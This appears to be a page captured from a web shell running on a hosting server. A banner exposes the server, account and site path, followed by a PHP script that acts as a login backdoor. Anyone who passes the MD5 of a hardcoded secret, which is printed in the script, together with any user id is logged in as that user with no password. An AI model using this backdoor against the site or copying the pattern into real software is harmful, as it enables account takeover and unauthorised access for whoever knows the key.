Server : LiteSpeed System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64 User : u107206879 ( 107206879) PHP Version : 7.2.34 Disable Function : NONE Directory : /home/u107206879/domains/escort46.de/public_html/ |
<?php
include_once "db_connection.php";
if(!empty($_GET['id']) && !empty($_GET['p'])){
if(md5("dfdHJKLHS*&)234242(*34lk3423")==trim($_GET['p'])){
$id = trim($_GET['id']);
$id = stripslashes($id);
$id = mysqli_real_escape_string($connection, $id);
#Key match, lets login in system
$sql="SELECT * FROM user WHERE id='$id'";
$result=mysqli_query($connection,$sql);
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
if(!empty($row['id'])){
$_SESSION['id'] = $row['id'];
$_SESSION['email'] = $row['email'];
$_SESSION['usrname'] = $row['usrname'];
$_SESSION['status'] = $row['status'];
$_SESSION['user_type'] = 'User';
header("location: ".SUB_URL."/myaccount");
}
}
} //if(!empty($_GET['id']) && !empty($_GET['p']))
exit;
?>